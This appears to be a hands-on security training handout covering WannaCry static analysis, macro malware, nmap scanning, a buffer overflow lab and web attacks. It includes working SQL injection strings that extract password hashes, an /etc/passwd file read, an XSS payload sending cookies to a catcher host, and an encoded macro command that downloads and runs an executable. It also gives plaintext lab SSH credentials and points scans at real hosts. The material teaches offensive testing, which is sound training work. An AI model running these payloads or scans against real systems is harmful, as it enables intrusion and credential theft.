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- #####################################################
- # Offensive/Defensive Cyber (New ECSA 2019) #
- # By Joe McCray #
- #####################################################
- - Here is a good set of slides for getting started with Linux:
- http://www.slideshare.net/olafusimichael/linux-training-24086319
- - Here is a good tutorial that you should complete before doing the labs below:
- http://linuxsurvival.com/linux-tutorial-introduction/
- - I prefer to use Putty to SSH into my Linux host.
- - You can download Putty from here:
- - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
- Here is the information to put into putty
- Host Name: 107.191.39.106
- protocol: ssh
- port: 22
- username: ecsa
- password: GermanyNewYork!#
- ---------------------------Type This-----------------------------------
- mkdir static_analysis
- cd static_analysis
- wget http://45.63.104.73/wannacry.zip
- unzip wannacry.zip
- infected
- file wannacry.exe
- mv wannacry.exe malware.pdf
- file malware.pdf
- mv malware.pdf wannacry.exe
- hexdump -n 2 -C wannacry.exe
- ----------------------------------------------------------------------
- ***What is '4d 5a' or 'MZ'***
- -------------------------Paste this URL into Firefox-----------------------------------
- http://www.garykessler.net/library/file_sigs.html
- ---------------------------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- objdump -x wannacry.exe
- strings wannacry.exe
- strings wannacry.exe | grep -i dll
- strings wannacry.exe | grep -i library
- strings wannacry.exe | grep -i reg
- strings wannacry.exe | grep -i key
- strings wannacry.exe | grep -i rsa
- strings wannacry.exe | grep -i open
- strings wannacry.exe | grep -i get
- strings wannacry.exe | grep -i mutex
- strings wannacry.exe | grep -i irc
- strings wannacry.exe | grep -i join
- strings wannacry.exe | grep -i admin
- strings wannacry.exe | grep -i list
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- pe info wannacry.exe
- pe check wannacry.exe
- pe dump --section text wannacry.exe
- pe dump --section data wannacry.exe
- pe dump --section rsrc wannacry.exe
- pe dump --section reloc wannacry.exe
- strings rdata | less
- strings rsrc | less
- strings text | less
- ----------------------------------------------------------------------
- Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
- Quick Google search for "wannacry ransomeware analysis"
- Reference
- https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
- - Yara Rule -
- Strings:
- $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
- $s2 = “Wanna Decryptor” wide ascii nocase
- $s3 = “.wcry” wide ascii nocase
- $s4 = “WANNACRY” wide ascii nocase
- $s5 = “WANACRY!” wide ascii nocase
- $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
- Ok, let's look for the individual strings
- ---------------------------Type This-----------------------------------
- strings wannacry.exe | grep -i ooops
- strings wannacry.exe | grep -i wanna
- strings wannacry.exe | grep -i wcry
- strings wannacry.exe | grep -i wannacry
- strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
- ----------------------------------------------------------------------
- ####################################
- # Tired of GREP - let's try Python #
- ####################################
- Decided to make my own script for this kind of stuff in the future. I
- Reference1:
- http://45.63.104.73/analyse_malware.py
- This is a really good script for the basics of static analysis
- Reference:
- https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
- This is really good for showing some good signatures to add to the Python script
- Here is my own script using the signatures (started this yesterday, but still needs work):
- https://pastebin.com/guxzCBmP
- ---------------------------Type This-----------------------------------
- wget https://pastebin.com/raw/guxzCBmP
- mv guxzCBmP am.py
- nano am.py
- python2.7 am.py wannacry.exe
- ----------------------------------------------------------------------
- ##############
- # Yara Ninja #
- ##############
- Reference:
- https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
- ----------------------------------------------------------------------------
- rule wannacry_1 : ransom
- {
- meta:
- author = "Joshua Cannell"
- description = "WannaCry Ransomware strings"
- weight = 100
- date = "2017-05-12"
- strings:
- $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
- $s2 = "Wanna Decryptor" wide ascii nocase
- $s3 = ".wcry" wide ascii nocase
- $s4 = "WANNACRY" wide ascii nocase
- $s5 = "WANACRY!" wide ascii nocase
- $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
- condition:
- any of them
- }
- ----------------------------------------------------------------------------
- rule wannacry_2{
- meta:
- author = "Harold Ogden"
- description = "WannaCry Ransomware Strings"
- date = "2017-05-12"
- weight = 100
- strings:
- $string1 = "msg/m_bulgarian.wnry"
- $string2 = "msg/m_chinese (simplified).wnry"
- $string3 = "msg/m_chinese (traditional).wnry"
- $string4 = "msg/m_croatian.wnry"
- $string5 = "msg/m_czech.wnry"
- $string6 = "msg/m_danish.wnry"
- $string7 = "msg/m_dutch.wnry"
- $string8 = "msg/m_english.wnry"
- $string9 = "msg/m_filipino.wnry"
- $string10 = "msg/m_finnish.wnry"
- $string11 = "msg/m_french.wnry"
- $string12 = "msg/m_german.wnry"
- $string13 = "msg/m_greek.wnry"
- $string14 = "msg/m_indonesian.wnry"
- $string15 = "msg/m_italian.wnry"
- $string16 = "msg/m_japanese.wnry"
- $string17 = "msg/m_korean.wnry"
- $string18 = "msg/m_latvian.wnry"
- $string19 = "msg/m_norwegian.wnry"
- $string20 = "msg/m_polish.wnry"
- $string21 = "msg/m_portuguese.wnry"
- $string22 = "msg/m_romanian.wnry"
- $string23 = "msg/m_russian.wnry"
- $string24 = "msg/m_slovak.wnry"
- $string25 = "msg/m_spanish.wnry"
- $string26 = "msg/m_swedish.wnry"
- $string27 = "msg/m_turkish.wnry"
- $string28 = "msg/m_vietnamese.wnry"
- condition:
- any of ($string*)
- }
- ----------------------------------------------------------------------------
- #####################################################
- # Analyzing Macro Embedded Malware #
- #####################################################
- ---------------------------Type This-----------------------------------
- mkdir ~/oledump
- cd ~/oledump
- wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
- unzip oledump_V0_0_22.zip
- wget http://45.63.104.73/064016.zip
- unzip 064016.zip
- infected
- python oledump.py 064016.doc
- python oledump.py 064016.doc -s A4 -v
- -----------------------------------------------------------------------
- - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
- - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
- ---------------------------Type This-----------------------------------
- python oledump.py 064016.doc -s A5 -v
- -----------------------------------------------------------------------
- - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
- ---------------------------Type This-----------------------------------
- python oledump.py 064016.doc -s A3 -v
- - Look for "GVhkjbjv" and you should see:
- 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
- - Take that long blob that starts with 636D and finishes with 653B and paste it in:
- http://www.rapidtables.com/convert/number/hex-to-ascii.htm
- -----------------------------------------------------------------------
- Step 1: Download Nmap
- --------------------
- Windows: https://nmap.org/dist/nmap-7.70-setup.exe
- Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
- Linux:
- --- Fedora/CentOS/RHEL: sudo yum install -y nmap
- --- Ubuntu/Mint/Debian: sudo apt-get install -y nmap
- ########################
- # Scanning Methodology #
- ########################
- - Ping Sweep
- What's alive?
- ------------
- Note: On windows you won't need to use the word "sudo" in front of the command below:
- ---------------------------On Linux or Mac OS X type This-----------------------------------
- sudo nmap -sP 157.166.226.*
- ---------------------------or on Windows type:---------------------------------------------
- c:\nmap -sP 157.166.226.*
- --------------------------------------------------------------------------------------------
- -if -SP yields no results try:
- Note: On windows you won't need to use the word "sudo" in front of the command below:
- ---------------------------On Linux or Mac OS X type This-----------------------------------
- sudo nmap -sL 157.166.226.*
- ---------------------------or on Windows type:---------------------------------------------
- c:\nmap -sL 157.166.226.*
- ------------------------------------------------------------------------------------------
- -Look for hostnames:
- Note: On windows you won't need to use the word "sudo" in front of the command below:
- ---------------------------On Linux or Mac OS X type This-----------------------------------
- sudo nmap -sL 157.166.226.* | grep com
- ---------------------------or on Windows type:---------------------------------------------
- c:\nmap -sP 157.166.226.* | findstr "cnn"
- -------------------------------------------------------------------------------------------
- - Port Scan
- What's where?
- ------------
- Note: On windows you won't need to use the word "sudo" in front of the command below:
- ---------------------------On Linux or Mac OS X type This-----------------------------------
- sudo nmap -sS 162.243.126.247
- ---------------------------or on Windows type:----------------------------------------------
- c:\nmap -sS 162.243.126.247
- --------------------------------------------------------------------------------------------
- - Bannergrab/Version Query
- What versions of software are running
- -------------------------------------
- Note: On windows you won't need to use the word "sudo" in front of the command below:
- ---------------------------On Linux or Mac OS X type This-----------------------------------
- sudo nmap -sV 162.243.126.247
- ---------------------------or on Windows type:---------------------------------------------
- c:\nmap -sV 162.243.126.247
- -------------------------------------------------------------------------------------------
- Let's dig into this a little bit more:
- -------------------------------------
- Note: On windows you won't need to use the word "sudo" in front of the command below:
- ---------------------------On Linux or Mac OS X type This-----------------------------------
- sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
- ---------------------------or on Windows type:---------------------------------------------
- c:\nmap -sV --script=http-headers 162.243.126.247 -p 80,443
- -------------------------------------------------------------------------------------------
- - Vulnerability Research
- Lookup the banner versions for public exploits
- ----------------------------------------------
- http://exploit-db.com
- http://securityfocus.com/bid
- https://packetstormsecurity.com/files/tags/exploit/
- ---------------------------------------------------------------------------------------------------------------------------------
- Network Penetration Testing Process (known vulnerabilities)
- -----------------------------------------------------------
- 1. Ping Sweep:
- The purpose of this step is to identify live hosts
- nmap -sP <ip-address/ip-range>
- 2. Port Scan
- Identify running services. We use the running services to map the network topology.
- nmap -sS <ip-address/ip-range>
- 3. Bannergrab
- Identify the version of version of software running on each port
- nmap -sV <ip-address/ip-range>
- 4. Vulnerability Research
- Use the software version number to research and determine if it is out of date (vulnerable).
- exploit-db.com/search
- Skill Level 1. Run the scanners
- -------------------------------
- Nexpose
- Qualys
- Retina
- Nessus known vulnerabilities
- OpenVas
- Foundscan
- GFI LanGuard
- NCircle
- Skill Level 2. Manual vulnerability validation (known vulnerabilities)
- -----------------------------------------------------------------------
- windows -> systeminfo
- Linux-> dpkg -l
- rpm -qa
- #####################################
- # Quick Stack Based Buffer Overflow #
- #####################################
- - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
- http://45.63.104.73/ExploitLab.zip
- - Extract the ExploitLab.zip file to your Desktop
- - Go to folder on your desktop ExploitLab\2-VulnServer, and run vulnserv.exe
- - Open a new command prompt and type:
- ---------------------------Type This-----------------------------------
- nc localhost 9999
- --------------------------------------------------------------------------
- If you don't have netcat you can download it from here:
- http://45.63.104.73/nc-password-is-netcat.zip
- The file nc.zip is password protected (password is 'password'), you'll have to exclude it from your anti-virus and either add it to your PATH, or copy it to your c:\Windows\System32\ folder.
- - In the new command prompt window where you ran nc type:
- HELP
- - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
- - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
- - Now double-click on 1-simplefuzzer.py
- - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
- - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
- - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
- - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
- - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
- - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
- - Calculate the distance to EIP by running script 3-3000chars.py
- - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
- 4-count-chars-to-EIP.py
- - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
- - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
- 5-2006char-eip-check.py
- - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
- 6-jmp-esp.py
- - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
- 7-first-exploit
- - In this script we actually do the stack overflow and launch a bind shell on port 4444
- 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
- ------------------------------
- Skill Level 3. Identify unknown vulnerabilities
- -----------------------------------------------
- - App Type
- ------------
- Stand Alone Client Server Web App
- ***(vulnerserver.exe)***
- - Input TYpe
- -------------
- FIle logical network port Browser
- Keyboard
- Mouse
- ***(9999)***
- - Map & Fuzz app entry points:
- ------------------------------
- - Commands ***(commands)***
- - Methods
- - Verbs
- - functions
- - subroutines
- - controllers
- - Isolate the crash
- -------------------
- App seems to reliably crash at TRUN 2100
- - Calculate the distance to EIP
- -------------------------------
- Distance to EIP is 2006
- We found that EIP was populated with the value: 396F4338
- 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
- An online tool that we can use for this is:
- https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
- - Redirect Program Execution
- ----------------------------
- A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
- We learned that we control EAX and ESP in script 2.
- - Implement Shellcode
- ---------------------
- There are only 2 things that can go wrong with shellcode:
- - Not enough space
- - Bad characters
- #########################################
- # FreeFloat FTP Server Exploit Analysis #
- #########################################
- Analyze the following exploit code:
- https://www.exploit-db.com/exploits/15689/
- 1. What is the target platform that this exploit works against?
- 2. What is the variable name for the distance to EIP?
- 3. What is the actual distance to EIP in bytes?
- 4. Describe what is happening in the variable ‘junk2’
- Analysis of the training walk-through based on EID: 15689:
- http://45.63.104.73/ff.zip
- ff1.py
- 1. What does the sys module do?
- 2. What is sys.argv[1] and sys.argv[2]?
- 3. What application entry point is being attacked in this script?
- ff2.py
- 1. Explain what is happening in lines 18 - 20 doing.
- 2. What is pattern_create.rb doing and where can I find it?
- 3. Why can’t I just double click the file to run this script?
- ff3.py
- 1. Explain what is happening in lines 17 - to 25?
- 2. Explain what is happening in lines 30 - to 32?
- 3. Why is everything below line 35 commented out?
- ff4.py
- 1. Explain what is happening in lines 13 to 15.
- 2. Explain what is happening in line 19.
- 3. What is the total length of buff?
- ff5.py
- 1. Explain what is happening in line 15.
- 2. What is struct.pack?
- 3. How big is the shellcode in this script?
- ff6.py
- 1. What is the distance to EIP?
- 2. How big is the shellcode in this script?
- 3. What is the total byte length of the data being sent to this app?
- ff7.py
- 1. What is a tuple in python?
- 2. How big is the shellcode in this script?
- 3. Did your app crash in from this script?
- ff8.py
- 1. How big is the shellcode in this script?
- 2. What is try/except in python?
- 3. What is socket.SOCK_STREAM in Python?
- ff9.py
- 1. What is going on in lines 19 and 20?
- 2. What is the length of the NOPs?
- 3. From what DLL did the address of the JMP ESP come from?
- ff010.py
- 1. What is going on in lines 18 - 20?
- 2. What is going on in lines 29 - 32?
- 3. How would a stack adjustment help this script?
- ##################################
- # Basic: Web Application Testing #
- ##################################
- Most people are going to tell you reference the OWASP Testing guide.
- https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
- I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
- The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
- 1. Does the website talk to a DB?
- - Look for parameter passing (ex: site.com/page.php?id=4)
- - If yes - try SQL Injection
- 2. Can I or someone else see what I type?
- - If yes - try XSS
- 3. Does the page reference a file?
- - If yes - try LFI/RFI
- Let's start with some manual testing against 45.63.104.73
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- http://45.63.104.73/
- Clicking on the Acer Link:
- http://45.63.104.73/acre2.php?lap=acer
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer'
- -----------------------------------------------------------------------
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '100' in 'order clause'
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '50' in 'order clause'
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '25' in 'order clause'
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '12' in 'order clause'
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
- -----------------------------------------------------------------------
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- -----------------------------------------------------------------------
- Now we negate the parameter value 'acer' by turning into the word 'null':
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- -----------------------------------------------------------------------
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- -----------------------------------------------------------------------
- ########################
- # Question I get a lot #
- ########################
- Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
- Here is a good reference for it:
- https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
- Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
- #########################
- # File Handling Attacks #
- #########################
- Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/showfile.php?filename=about.txt
- -----------------------------------------------------------------------
- See if you can read files on the file system:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/showfile.php?filename=/etc/passwd
- -----------------------------------------------------------------------
- We call this attack a Local File Include or LFI.
- Now let's find some text out on the internet somewhere:
- https://www.gnu.org/software/hello/manual/hello.txt
- Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
- -----------------------------------------------------------------------
- #########################################################################################
- # SQL Injection #
- # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
- #########################################################################################
- - Another quick way to test for SQLI is to remove the paramter value
- #############################
- # Error-Based SQL Injection #
- #############################
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- -----------------------------------------------------------------------
- #############################
- # Union-Based SQL Injection #
- #############################
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
- http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- -----------------------------------------------------------------------
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- -----------------------------------------------------------------------
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- -----------------------------------------------------------------------
- - Another way is to see if you can get the backend to perform an arithmetic function
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=(2)
- http://45.77.162.239/bookdetail.aspx?id=(4-2)
- http://45.77.162.239/bookdetail.aspx?id=(4-1)
- http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
- http://45.77.162.239/bookdetail.aspx?id=1*1
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
- http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
- http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
- http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
- http://45.77.162.239/bookdetail.aspx?id=2 &0#
- http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
- http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
- -----------------------------------------------------------------------
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- -----------------------------------------------------------------------
- Let's go for a quick check to see if it's DBO
- ---------------------------Type This-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- -----------------------------------------------------------------------
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- ---------------------------Type This-----------------------------------
- D - 1st Character
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- B - 2nd Character
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- O - 3rd Character
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- -----------------------------------------------------------------------
- ################################
- # Playing with session cookies #
- ################################
- -----------------------------------------------------------------------
- Step 1: Browse to NewEgg.com
- -------------------------Paste this into Firefox-----------------------------------
- https://secure.newegg.com/
- ----------------------------------------------------------------------------------
- Step 2: Browse to the shopping cart page NewEgg.com
- -------------------------Paste this into Firefox-----------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ----------------------------------------------------------------------------------
- Step 3: View the current session ID
- -------------------------Paste this into Firefox-----------------------------------
- javascript:void(document.write(document.cookie))
- ------------------------------------------------------------------------------------
- Step 4: Go back to the shopping cart page (click the back button)
- ---------------------------------------------------------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ---------------------------------------------------------------------------------
- Step 5: Now let's modify the session ID
- -------------------------Paste this into Firefox-----------------------------------
- javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
- ------------------------------------------------------------------------------------
- Step 6: Go back to the shopping cart page (click the back button)
- ---------------------------------------------------------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ---------------------------------------------------------------------------------
- Step 7: View the current session ID
- -------------------------Paste this into Firefox-----------------------------------
- javascript:void(document.write(document.cookie))
- ------------------------------------------------------------------------------------
- -----------------------------------------------------------------------
- ###########################################
- # What is XSS #
- # http://45.63.104.73/2-Intro_To_XSS.pptx #
- ###########################################
- OK - what is Cross Site Scripting (XSS)
- 1. Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/xss_practice/
- -----------------------------------------------------------------------
- A really simple search page that is vulnerable should come up.
- 2. In the search box type:
- ---------------------------Type This-----------------------------------
- <script>alert('So this is XSS')</script>
- -----------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 3. In the search box type:
- ---------------------------Type This-----------------------------------
- <script>alert(document.cookie)</script>
- -----------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 4. Now replace that alert script with:
- ---------------------------Type This-----------------------------------
- <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
- -----------------------------------------------------------------------
- This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
- 5. Now view the stolen cookie at:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/xss_practice/cookie_stealer_logs.html
- -----------------------------------------------------------------------
- The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
- ############################
- # A Better Way To Demo XSS #
- ############################
